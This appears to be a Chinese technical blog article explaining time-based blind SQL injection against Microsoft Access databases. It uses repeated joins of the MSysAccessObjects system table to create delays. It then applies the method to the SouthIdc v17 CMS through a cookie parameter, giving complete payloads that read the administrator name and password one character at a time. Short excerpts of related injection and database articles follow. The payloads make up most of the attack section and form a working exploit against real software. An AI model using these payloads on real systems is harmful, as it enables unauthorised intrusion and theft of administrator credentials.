Access数据库基于时间sql盲注的实现记录

   Access是微软把数据库引擎的图形用户界面和软件开发工具结合在一起的一个数据库管理系统。本文我们来看看Access数据库基于时间sql盲注的实现记录。

  概述

  众所周知,access数据库是不支持基于时间的盲注方式,但是我们可以利用access的系统表MSysAccessObjects,通过多负荷查询(Heavy Queries)的方式实现。

  初步探究

  我们以SouthIdcv17数据库为例

  执行 select * from Southidc_About ,返回结果如下图。


  如何实现time base injection 呢?我们就要利用这条语句

  SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6,

  MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10,MSysAccessObjects AS T11,MSysAccessObjects AS T12

  具体实现方式如下:

  select * from Southidc_About where (SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6,

  MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10,MSysAccessObjects AS T11,MSysAccessObjects AS T12)>0 and (select top 1 asc(mid(AdminName+Password,1,1)) from

  Southidc_Admin)=97

  我们可以执行一次,观察效果。

  很明显,经历了大约40s才返回结果


  当我们执行如下语句时,也就是把最后的97改为96

  select * from Southidc_About where (SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6,

  MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10,MSysAccessObjects AS T11,MSysAccessObjects AS T12)>0 and (select top 1 asc(mid(AdminName+Password,1,1)) from

  Southidc_Admin)=96


  很快就执行完毕,没有延时。

  很明显,我们通过where条件后的

  (SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6,

  MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10,MSysAccessObjects AS T11,MSysAccessObjects AS T12)>0

  实现了延时,但需要注意的是这里where后的条件是有顺序的,实现延时的语句必须在

  1(select top 1 asc(mid(AdminName+Password,1,1)) from Southidc_Admin)=97

  之前,为什么呢?实验得出的结论。

  实例实现

  在SouthIdc 17 中,有一处sql注入漏洞,但是常规的方法并不能成功利用漏洞。漏洞代码如下:


  虽然程序把Post和Get的数据进行了过滤,但是我们依旧我可以通过Cookie的提交方式进行注入。

  好,我们实现一下注入利用。

  我们需要注入的语句为:

  select * from Southidc_"&request("Range")&"Sort where ViewFlag and ParentID="&ParentID&" order by ID asc

  通过提交cookie

  Range=DownSort where (SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6, MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10,MSysAccessObjects AS T11,MSysAccessObjects AS T12)>0 and (select top 1 asc(mid(AdminName+Password,1,1)) from Southidc_Admin)=32 and 1=1 union select NULL,NULL,NULL,NULL,NULL,NULL from Southidc_image

  ParentID为程序上部传进的值,最终的语句为:

  1select * from Southidc_DownSort where (SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6, MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10,MSysAccessObjects AS T11,MSysAccessObjects AS T12)>0 and (select top 1 asc(mid(AdminName+Password,1,1)) from Southidc_Admin)=32 and 1=1 union select NULL,NULL,NULL,NULL,NULL,NULL from Southidc_imageSort where ViewFlag and ParentID=1

  我们可以在查询器中看一下效果

  96时,不延时,如图:


  97时延时,效果如下图:


  接下来,我们可以利用上述语句进行exp的编写,笔者这里用python

  核心代码如下:

时间: 2024-12-31 02:24:15

Access数据库基于时间sql盲注的实现记录的相关文章

SQL注入之基于布尔的盲注详解_数据库其它

基于布尔的盲注 Web的页面的仅仅会返回True和False.那么布尔盲注就是进行SQL注入之后然后根据页面返回的True或者是False来得到数据库中的相关信息. 由于本次是布尔注入,手注无法完整地进行脱裤.所以在本节需要编写大量的代码来帮助我们进行SQL注入,得到数据.所以在这章里面会有很多的Python代码. 本次的示例就是Less-8. 通过进行下面的语句的注入测试 http://localhost/sqlilabs/Less-8/?id=2' http://localhost/sqli

Web应用手工渗透测试—用SQLMap进行SQL盲注测试

简介 本文主要关注SQL注入,假设读者已经了解一般的SQL注入技术,在我之前的文章中有过介绍,即通过输入不同的参数,等待服务器的反应,之后通过不同的前缀和后缀(suffix and prefix )注入到数据库.本文将更进一步,讨论SQL盲注,如果读者没有任何相关知识储备,建议先去wikipedia学习一下.在继续之前需要提醒一下,如果读者也想要按本文的步骤进行,需要在NOWASP Mutillidae环境搭建好之后先注册一个NOWASP Mutillidae帐号. SQL注入前言 本文演示从w

将现有的Access数据库升级为SQL

很多Access和SQL Server开发人员都经常面临着将一个Access数据库升级到SQL Server数据库的问题.由于存在现有的Access升级向导,这一转变的过程就会变得相当简单,尤其是当你建立一个与SQL Server数据相联系的ADP的时候.然而,向导并不是十全十美的,需要解决的问题还是大有存在. 首先,有些对象并不是简单的升级,所以这时你不得不人为地处理.第二,很多Access特性──比如一些查询类型,对象,以及特定的数据类型在你没有做好升级之前的准备的情况下就会导致错误的产生.

sql盲注怎么解决

问题描述 用appscan时检测出了sql盲注,有没有什么好的办法解决,让appscan检测不出这个问题 解决方案 解决方案二:它报告的问题实际上在你的系统中存在吗?解决方案三:就是SQL注入嘛最简单的,也是最推荐的方案就是执行SQL时通过参数化方式执行差点的方案就是拦截数据库关键字下面虽然是java的,但思路是一样的解决方案四:SQL参数化解决方案五:其实最"好"的办法,就是把你的老板用酒灌醉,或者让他无法上班,这样你就清闲了.如果让我们说什么是有"道德"的做法,

Access数据库升级为SQL数据库的注意事项和方法_数据库其它

很多Access和SQL Server开发人员都经常面临着将一个Access数据库升级到SQL Server数据库的问题.由于存在现有的Access升级向导,这一转变的过程就会变得相当简单,尤其是当你建立一个与SQL Server数据相联系的ADP的时候.然而,向导并不是十全十美的,需要解决的问题还是大有存在. 首先,有些对象并不是简单的升级,所以这时你不得不人为地处理.第二,很多Access特性──比如一些查询类型,对象,以及特定的数据类型在你没有做好升级之前的准备的情况下就会导致错误的产生.

把Access数据库移植到SQL SERVER7.0

当对企业级的高性能的数据库的要求和需求增加时,客户有时需要从文件?服务器环境的Microsoft Access Jet引擎迁移到客户?服务器环境的Microsoft SQL Server.随同微软Office 2000发行的Access 2000 Upsizing Wizard(升级向导)可以把Access表格和查询迁移到SQL Server 7.0.如果你使用Access的早期版本,你也可以通过升级到Access 2000,并使用升级向导把你的应用程序移植到SQL SERVER. 如果你不喜欢

将Access数据库移植到SQL Server[摘]

access|server|数据|数据库 随着用户对于企业级高性能数据库的需求的增长,用户时常要从Microsoft Access Jet引擎的文件-服务器环境下转换到Microsoft SQL Server的客户-服务器环境.Microsoft Office 2000中的Access 2000 Upsizing Wizard可实现将数据表和查询转移到SQL Server 7.0中.如果您用的是Access的较早的版本,您可以先将它升级为Access 2000,然后再使用其中的Upsizing

将Access数据库移植到SQL Server 7.0

access|server|数据|数据库 随着用户对于企业级高性能数据库的需求的增长,用户时常要从Microsoft Access Jet引擎的文件-服务器环境下转换到 Microsoft SQL Server的客户-服务器环境.Microsoft Office 2000中的Access 2000 Upsizing Wizard可实现将数据表和 查询转移到SQL Server 7.0中.如果您用的是Access的较早的版本,您可以先将它升级为Access 2000,然后再使用其中的 Upsizi

将Access数据库移植到SQL Server_Access

随着用户对于企业级高性能数据库的需求的增长,用户时常要从Microsoft Access Jet引擎的文件-服务器环境下转换到Microsoft SQL Server的客户-服务器环境.Microsoft Office 2000中的Access 2000 Upsizing Wizard可实现将数据表和查询转移到SQL Server 7.0中.如果您用的是Access的较早的版本,您可以先将它升级为Access 2000,然后再使用其中的Upsizing Wizard,从而将您的应用移植到SQL